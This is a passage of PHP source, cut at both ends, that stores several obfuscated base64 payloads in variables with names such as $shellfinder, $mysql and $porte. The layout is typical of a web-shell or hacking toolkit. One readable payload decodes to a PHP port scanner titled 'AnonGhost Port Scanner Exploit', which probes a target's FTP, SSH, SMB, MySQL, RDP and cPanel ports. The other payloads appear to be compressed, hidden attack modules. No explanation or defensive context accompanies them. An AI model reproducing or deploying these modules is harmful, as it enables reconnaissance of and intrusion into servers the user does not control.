v9bPveQBfWyVyPgbNNi3ZYOxDojdqD2jHM1ge2r6UddBwMV7doQhbRE2KHYKYwDfcBGAw9f4fie4OAN+/jw98=';
$cpnlndftpotdfr ='jVVtb9s2EP5cA/4PN88rHSCxlCZNltQSkDbrMAzrgjYDNgxDQIm0SZQSCZKK46z57ztSkuO46RLAtkTe3XPPvXo4ePGCl0IDmRU2n5W89hyfRb6XvTO05gpewntv4KzxGs75nJbcZnuzpMiD/jvNOAN4u4LfaGOlp7WkcOY9LT9zO0vWaBvIslqAs2U2Et6b0yRZLpdH0/T2Np2WukpepfuHSfojPpP918nh4clRenB4cDw19WIESb6GJG+Gg0B7NPO0UByWknmRkf00/YFAyZVyhpayXmQkbc+GMrY+K+pcRnyxTyAfDmaePbSnSi7qrPUE1+2JeG0IWL1EYDztk3zG5HUPJTizJIcWS3C5ED6A9VBE8bm/98uCdeJZ+MGMxC9D40dIkJYF+TYN9DnXtYdSK20zYjkjEKqEprqSJThaO6gcASdveUu8iEw3rT7+dN5bLbQXsuzVDwLToBmLuGW1FNLztQIKk1iMfITFgb4+hWYrKBatSaGwM/KZOALnVwrxPb/xezG00y7SfNNF9NC6tRVU3AvNMqOd77Qi5UsqdEVbwq86w+/T9Pg4TdH0E7fXWEZp4BRe1oUzb2ayNo3vqxEPtwT8yvAs0IGaVjwTMqS84Zk0eWs2HPzhuA3CbaQnoPxNB7UGukD1pbbsCUrbQKbHiQMV6zGX2PxeUA8r3cCSYk5wTlmcU0Tva/csnkZ0+KjA+M3UCEM2XD2d8ZMTzHi7I8DQBYfGKtjby9c0gi9qOf2KSezo0JwBDF+OX5OWE2lDIT0zjNICo/culKw/x2nqoDcJ/0/Urikq2cXtqh79V6kU4PUHvSRh27QwSWi+2NTDgZxPpHPcT8ZXF79/uvybuIr8s7MzHPw7HIylybyV1VomJMrQbNw8vPc33f2Wvumu2da16O/nDwVdbqIw7vBRDH57fro6xQg6tQ0VXBitwkHu1qOSZf1Ux/4cTTG2bzrZQGgQYsMYeuvmOcamn4pHAJ7lnUlbem1XjwGwZwG0vRt6agMjGASE+TTajmIpVDYyTaFkeSV8pZLOw9jJDObeXJW6rnmJbSLNTmycsberVqT0QtYT1NwdN7vjKJZzmEy+w6sd+PIF8A2Vu6a651zqRjGodeAdwWEXhDY4ZYBbQGEUGrudYgeX2lqUqxWcTmLRb6THxx2+Kce/go1gUtfAdM3hz/Nw+7PAJQu70jvwEjceLhVnZI2rRjpw2FV9Ju5CMtq0teHhkMXgAHME4Xe+C+8vL67e/vLh7ONffbSdzWaMAv+lYcWpaAcb/4e6PYblacqSOzdvFMbUu92KpWWMiYOK1g1V6+jv4uc/';
$indomieseleraku ='nVVdT9swFH1H4j9ceUxuHyB9mZAgCetoWauNJkoLPKDKyodLLCV2ZDst/Ps5H3xMEJbuIU0THZ9zrnN8L41TAchO2BZY4uCc8hLHWahU858ULGMpdu1IunZMuabmHrnHzpLKLZWwpHEpmX6COd8ImYeaCa6cY9uK3sCli84PD2ij9Py2UmyFdF5Q7B4e2DqMMgphxh64gxsghh1LdOrgb6OvxoZOXHsjuIZYZEI6+MtodHo6GmH3F5WcZnBLpTIWbKsCubZV4c2Fzmv1Ii1IycOcDoavhrT8hPaORtCU2kF5RJbT4HYa3KPmTpbe1epuHEzRuqeEP/P/bXvbAIxvaDhBcEDtQ1WWCgtG9irtspTSbDHcqM7iHqgmcQMjpYH15q44YT7pps2fSpb0pvspRVl8RvawB9nlLoFurnjXn2mc5Iz3jAdu4zGeXM8XuG822lPmC6n7CvhesNqXf+53sasaMPfBqTYnFUpHT3XKXnM/W618MvOWK7Tu/QkyViWvW/alqGB67a2mZtcmQe+i4pvgN6iyKLp3bVPyuGpVhD4ypdUAm5RnpD1keHiBp7xqRQk+wwuBe+oGNEzqBmaZGFmFaW27pEP/O1NEtvABfoM32uiFxw4hlXTj4IuwduvkIhbYhftbRndr2wpddIYWQsPzCvRfTlUaJmLX32mDf+v0AxtHUaioSc2AcUZMdAZIFJST6m3CJBqCkKC01OZgF6axdKCGjoO8BTJS3gI+rkVVE4i27o0R7+qqA8mNxb/RPbfLM57gR1XPhL076O2SepLpR0MKJ9AUf2J43wlZ9Ywzy838M7/P07B5rCflHw==';
$shellfinder ='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';
$mysql ='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';
$mpcz ='rVZbU9s4FH6GGf7DqSazdthMnKTQBxyHpSS0nSmByWV5AMYotpxocCxXliGh7X/fI9lOQ6fdpbubSRT53L5z07H2dneOe3u7O91IyCXQQHGReOQ4pWrhdY/TRQosWAioaYILx73f6DJ1V94yDZ4ILJlaiNAjqcgUMVa0xt5uxpSv+JL5MV9yZbfq7t4uT7iPdNsKeZbGdO0zKYXMrAYYNsDerkGyugFLFJO97qLTuxIyvJQsy+Cc4nKJyyOS4HRBkzmTXQdlujMJjl5xcUpdy91YM3FVjl5ejCdkEyUB9HkDp+gsZjBD80x6pE2Qoqlh71QkEZ/DR56po66DBFTCtavYSlHJKGRqHTOPzGhwP5ciT8KjWYx7V+Qq5gk7SkTC3EDEQh49LrhiLoGELlEjlzEBZGQeOWwRkOIRd23cYSSV9Z6BxEUa3MKlacakU2WjENA/nqS5+jfuqHWKGhpy4xoi6B2BjD/hc+eQwAONc9wGYkV64GDB/k/AtIzmZ4Df0oCLLpVOx0z+56DH+Qx7FMsQowNoIFdKJBvokluhFCoLHoYsqRwvummjoRvH0U33vBsxWzwCu+brFry2CiXr1vOstlX//JyJbWE4hmHamHRD/lC6aOF5yGNl9YYCTi+GZx/ewdnFdNjXyTin9wyyXDJYixxSKR54yEKg2GSmh2Ps4VddB43pA9Mj6NhXFmcMcWqI6j3zwNVEbIMMwAO2SmMRMpvcJKShZfWhxTAZDRboeSFHMzC7OnwuddueknxZ8LVGLUAjXsRj5s9xSKBbCnOUdQqJthZJJZv7S6qChU/j2La+hCzCCjb3b2z8Wf23/vDkfHBjNfcb+hmJdf1wU2/uu194NrUaBqRRmxlztXDm4fa6fXvdun2R+el4MHqJ+U69yhACdH4B4PJkPL66GPVfAvK6jMGvzgdivf4FrPdYz5fgHBicBQ5yBDj4OcBNzRw+HxkRXzX3vW2739k8NDZTNHi4MQg6Gu+P5Tr7FOvyJyxQNhjgRtE8+LcVLtTBLU9HqI9DqZmxGBX9cIbkGWwKkXzr4HJ+FW1srIUbZmW8YKI9bHAyveyfTAZwR5q1tGnmX3YH48EE7vTeOHSHcuf9QxssLWRsNomFLl69H4xQ9UNfS+CJdvXJKl39lDO5tjUKhgIvB4zFnCfGHgqYcDTWryFR6j3jkSJvIFI9fnwzsiCSYll5UTDQjxKnFNSZNIAZjk49HFyCECaWglDBRMy0ipQUHaG0Dtsy1eba2sYviqBk0yOVAM4YpJU9EouM2brCX83XtIKSddTRY0R7ph0LzI0gbKqV0uO2FqVIjUTKEnsj1wBCfyemWR4lImkJnOoZSqTYdcpMqKgARFLd/bvp+/wuwpM5nIplGjOF8/YVHNXNu6mcsaUVCgs8Nd4zXwFf8jgJPcvH91Vyb/X+5OzR3DVARN9feEIYo9tZ19G3gnKIOwahyg4eryhPzMsFfjhl9RmC8lPD0e1BgAn38Xam7OIeBgUF72pYJRtlGqfT0ceLy4mPfzj6K6kfSUIl+n5w0h+MzN1OyxmNn5kdDSbT0XAyOhmOz1BHyZz9oyc4ok/eDYaTBjkXTzyOqXPYbIF9xZMQL1EwnMCbZtuFq4urNwcuyIejdqfZqsM7FtwLp9Nqt/DbhjOO9RArRzOBbAdWK8pcpYetWKAd2BaRTOUy2UhucbAOO+Wt2tyg/wI=';
$porte ='PD9waHANCnNldF90aW1lX2xpbWl0KDkwMDAwMCk7DQokbXNnID0gIiI7DQpmdW5jdGlvbiBQb3J0X0FjaWsoJGRvbWFpbiwkcG9ydCkNCnsNCglpZihAZnNvY2tvcGVuKCRkb21haW4sICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDAuMSkpDQoJew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJZWxzZQ0KCXsNCgkgICByZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KZnVuY3Rpb24gUG9ydF9TZXJ2aXNfQWRpKCRpbmRleCkNCnsNCgkkcG9ydF9hZGxhcmkgPSBhcnJheSgiRlRQIiwiU1NIIiwiVEVMTkVUIiwiU01UUCIsIkROUyIsIkhUVFAiLCJQT1AzIiwiU0ZUUCIsIlJQQyIsIk5ldEJJT1MiLCJJTUFQIiwiSVJDIiwiU1NMIiwiU01CIiwiTVNTUUwiLCJNeVNRTCIsIlJlbW90ZSBEZXNrdG9wIiwiUENBbnl3aGVyZSIsIlZOQyIsIldhcmNyYWZ0IElJSSIpOw0KCWlmKGlzX251bWVyaWMoJGluZGV4KSkNCgl7DQoJCXJldHVybiAkcG9ydF9hZGxhcmlbJGluZGV4XTsNCgl9DQoJZWxzZQ0KCXsNCgkJcmV0dXJuIG51bGw7DQoJfQ0KfQ0KZnVuY3Rpb24gRXJpc2lsbWUoJGRvbWFpbikNCnsNCgkkTEwgPSBjdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkTEwsQ1VSTE9QVF9VUkwsJGRvbWFpbik7DQoJY3VybF9zZXRvcHQoJExMLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCgkkc29udWMgPSBodG1sc3BlY2lhbGNoYXJzKEBjdXJsX2V4ZWMoJExMKSk7DQoJY3VybF9jbG9zZSgkTEwpOw0KCWlmKCRzb251YyAhPSAiIikNCgl7DQoJCXJldHVybiB0cnVlOw0KCX0NCgllbHNlDQoJew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KPz4NCjw/cGhwDQokaXNsZW0gPSBAJF9HRVRbImlzbGVtIl07DQpzd2l0Y2goQCRpc2xlbSkNCnsNCgljYXNlICJ0YXJhIjoNCgkkc2l0ZSA9IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsidHh0c2l0ZSJdKTsNCglpZigkc2l0ZSA9PSAiIikNCgl7DQoJJG1zZyA9ICI8cCBjbGFzcz1cInNpdGlsX2hhdGFcIj5CbGFuayBEbyBub3QgY3Jvc3MgeW91ciBzaXRlICE8L3A+XHJcbiI7DQoJJHNvbnVjbGFyID0gdHJ1ZTsNCgl9DQoJZWxzZQ0KCXsNCgkJJHBvcnRsYXIgPSBhcnJheSgiMjEiLCIyMiIsIjIzIiwiMjUiLCI1MyIsIjgwIiwiMTEwIiwiMTE1IiwiMTM1IiwiMTM5IiwiMTQzIiwiMTk0IiwiNDQzIiwiNDQ1IiwiMTQzMyIsIjMzMDYiLCIzMzg5IiwiNTYzMiIsIjU5MDAiLCI2MTEyIik7DQoJCSRfY3BhbmVsX3BvcnQgPSBhcnJheSgiMTk5NyIsIjE5OTgiLCIxOTk5IiwiMjAwMCIsIjIwMDEiLCIyMDAyIiwiMjAwNCIsIjIwMDUiLCIyMDA2IiwiMjAwNyIsIjIwMDgiLCIyMDA5IiwiMjAxMCIsIjIwMTEiLCIyMDEyIiwiMjAxMyIsIjIwMTQiLCIyMDE1IiwiMjAxNiIsIjIwMTciLCIyMDE4IiwiMjAxOSIsIjIwMjAiLCIyMDIxIiwiMjAyMiIsIjIwMjMiLCIyMDI0IiwiMjAyNSIsIjIwMjYiLCIyMDI3IiwiMjAyOCIsIjIwMjkiLCIyMDMwIiwiMjAzMSIsIjIwMzIiLCIyMDMzIiwiMjAzNCIsIjIwMzUiLCIyMDM2IiwiMjAzNyIsIjIwMzgiLCIyMDM5IiwiMjA0MCIsIjIwNDEiLCIyMDQyIiwiMjA0MyIsIjIwNDQiLCIyMDQ1IiwiMjA0NiIsIjIwNDciLCIyMDQ4IiwiMjA0OSIsIjIwNTAiLCIyMDUxIiwiMjA1MiIsIjIwNTMiLCIyMDU0IiwiMjA1NSIsIjIwNTYiLCIyMDU3IiwiMjA1OCIsIjIwNTkiLCIyMDYwIiwiMjA2MSIsIjIwNjIiLCIyMDYzIiwiMjA2NCIsIjIwNjUiLCIyMDY2IiwiMjA2NyIsIjIwNjgiLCIyMDY5IiwiMjA3MCIsIjIwNzEiLCIyMDcyIiwiMjA3MyIsIjIwNzQiLCIyMDc1IiwiMjA3NiIsIjIwNzciLCIyMDc4IiwiMjA3OSIsIjIwODAiLCIyMDgxIiwiMjA4MiIsIjIwODMiLCIyMDg0IiwiMjA4NSIsIjIwODYiLCIyMDg3IiwiMjA4OCIsIjIwODkiLCIyMDkwIiwiMjA5MSIsIjIwOTIiLCIyMDkzIiwiMjA5NCIsIjIwOTUiLCIyMDk2IiwiMjA5NyIsIjg0NDMiKTsNCgkJZm9yKCRpID0gMDskaTxjb3VudCgkcG9ydGxhcik7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gUG9ydF9TZXJ2aXNfQWRpKCRpKS4iJm5ic3A7OiZuYnNwOyIuKFBvcnRfQWNpaygkc2l0ZSwkcG9ydGxhclskaV0pID09IHRydWUgPyAiPGZvbnQgY29sb3I9XCJsaW1lXCI+T3BlbjwvZm9udD4iIDogIjxmb250IGNvbG9yPVwicmVkXCI+T2ZmPC9mb250PiIpOw0KCQkJJG1zZyAuPSAiPGZvbnQgY29sb3I9XCJsaW1lXCI+PGI+Ii4kc2l0ZS4iIERla2kmbmJzcDsiLiRzb251Yy4iID0+ICIuJHBvcnRsYXJbJGldLiI8L2I+PC9mb250PjxiciAvPlxyXG4iOw0KCQl9DQoJCSRtc2cgLj0gIjxmb250IGNvbG9yPVwibGltZVwiPlNlcnZlciBJUCBhZGRyZXNzIDombmJzcDsiLmdldGhvc3RieW5hbWUoJHNpdGUpLiI8L2ZvbnQ+PGJyIC8+XHJcbiI7DQoJCWZvcigkaSA9IDA7JGk8Y291bnQoJF9jcGFuZWxfcG9ydCk7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gIkNwYW5lbC1Qb3J0dSA6Jm5ic3A7Ii4kX2NwYW5lbF9wb3J0WyRpXS4oUG9ydF9BY2lrKCRzaXRlLCRfY3BhbmVsX3BvcnRbJGldKSA9PSB0cnVlID8gIiZuYnNwOzxmb250IGNvbG9yPVwibGltZVwiPjxiPk9wZW48L2I+PC9mb250PiIgOiAiJm5ic3A7PGZvbnQgY29sb3I9XCJyZWRcIj48Yj5PZmY8L2I+PC9mb250PiIpOw0KCQkJJG1zZyAuPSAiPGZvbnQgY29sb3I9XCJsaW1lXCI+PGI+Ii4kc2l0ZS4iIERla2kgIi4kc29udWMuIiBFcmnDvmlsbWUgRHVydW11IDo8L2I+PC9mb250PiIuKEVyaXNpbG1lKCJodHRwOi8vIi4kc2l0ZS4iOiIuJF9jcGFuZWxfcG9ydFskaV0uIi8iKSA9PSB0cnVlID8gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPmFjY2Vzc2libGUgITwvYj48L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPmluYWNjZXNzaWJsZSAhPC9iPjwvZm9udD4iKS4iPGJyIC8+XHJcbiI7DQoJCX0NCgkJJG1zZyAuPSAiPGgxIGNsYXNzPVwiLnNpdGlsX2gxXCI+aW4gZXhjZXB0aW9uYWwgY2lyY3Vtc3RhbmNlcyA6PC9oMT48YnIgLz5cclxuIjsNCgkJZm9yKCRpID0gMDskaTxjb3VudCgkcG9ydGxhcik7JGkrKykNCgkJew0KCQkJJHNvbnVjID0gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPiIuUG9ydF9TZXJ2aXNfQWRpKCRpKS4gIiZuYnNwO0VyacO+aWxtZSA6IDwvYj48L2ZvbnQ+Ii4oRXJpc2lsbWUoImh0dHA6Ly8iLiRzaXRlLiI6Ii4kcG9ydGxhclskaV0uIi8iKSA9PSB0cnVlID8gIjxmb250IGNvbG9yPVwibGltZVwiPjxiPmFjY2Vzc2libGUgITwvYj48L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPmluYWNjZXNzaWJsZSAhPC9iPjwvZm9udD4iKTsNCgkJCSRtc2cgLj0gJHNpdGUuIiA8Zm9udCBjb2xvcj1cImxpbWVcIj48Yj5pbiBleGNlcHRpb25hbCBjaXJjdW1zdGFuY2VzIDombmJzcDs8L2I+PC9mb250PiZuYnNwOyIuJHNvbnVjLiI8YnIgLz5cclxuIjsNCgkJfQ0KCQkkbXNnIC49ICI8Zm9udCBjb2xvcj1cInJlZFwiPjxiPkh0dHAsIGZ0cCwgZXRjLiBkdWUgdG8gdW51c3VhbCBwb3J0cyE8L2I+PC9mb250PlxyXG4iOw0KCQkkc29udWNsYXIgPSB0cnVlOw0KCX0NCglicmVhazsNCglkZWZhdWx0Og0KfQ0KPz4NCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktOSIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1NCIgLz4NCjx0aXRsZT5Bbm9uR2hvc3QgUG9ydCBTY2FubmVyIEV4cGxvaXQ8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5pY29uai5jb20vaWNvL3ovcC96cHNpOTBsZmM3LmljbyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4gYm9keSB7IGJhY2tncm91bmQ6IzE1MTUxNTtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9mb25kYmdfenBzNjUwZjUwMjUuanBnKTsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OiA0MDA7IGNvbG9yOiAjNThGQUY0OyB0ZXh0LWFsaWduOiBjZW50ZXI7IH0NCi5zaXRpbF9idXR0b257DQpiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7DQpjb2xvcjojNThGQUY0Ow0KYm9yZGVyOjFweCBzb2xpZCAjNThGQUY0Ow0KfQ0KLnNpdGlsX2gxew0KY29sb3I6I0NDMzMwMDsNCn0NCi5zaXRpbF9oYXRhew0KY29sb3I6I0ZGMDAwMDsNCmZvbnQtZmFtaWx5OiJBcmlhbCBCbGFjayI7DQpmb250LXNpemU6MjBwdDsNCn0NCjwvc3R5bGU+PC9oZWFkPg0KPGJvZHk+DQo8YnI+DQo8Zm9ybSBhY3Rpb249Ij9pc2xlbT1TY2FuIiBtZXRob2Q9InBvc3QiIG5hbWU9ImZvcm0xIiBpZD0iZm9ybTEiPg0KICA8dGFibGUgd2lkdGg9IjUzMCIgYm9yZGVyPSIxIiBhbGlnbj0iY2VudGVyIj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9Ijk2IiBhbGlnbj0icmlnaHQiPjxzcGFuIGNsYXNzPSJzaXRpbF95YXppIj48c3Ryb25nPlVybCBTaXRlIDo8L3N0cm9uZz48L3NwYW4+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iMjQ2IiBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR4dHNpdGUiIGlkPSJ0eHRzaXRlIiBzdHlsZT0id2lkdGg6MzAwcHg7IiAgY2xhc3M9InNpdGlsX2J1dHRvbiIvPiA8aW5wdXQgbmFtZT0iYnRuVGFyYSIgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2l0aWxfYnV0dG9uIiBpZD0iYnRuVGFyYSIgc3R5bGU9IndpZHRoOjEwMHB4OyIgdmFsdWU9IlNjYW4iIG9uY2xpY2s9IkphdmFzY3JpcHQ6cmV0dXJuIGNvbmZpcm0oJ0FyZSB5b3UgcmVhZHkgdG8gc2NhbiA/J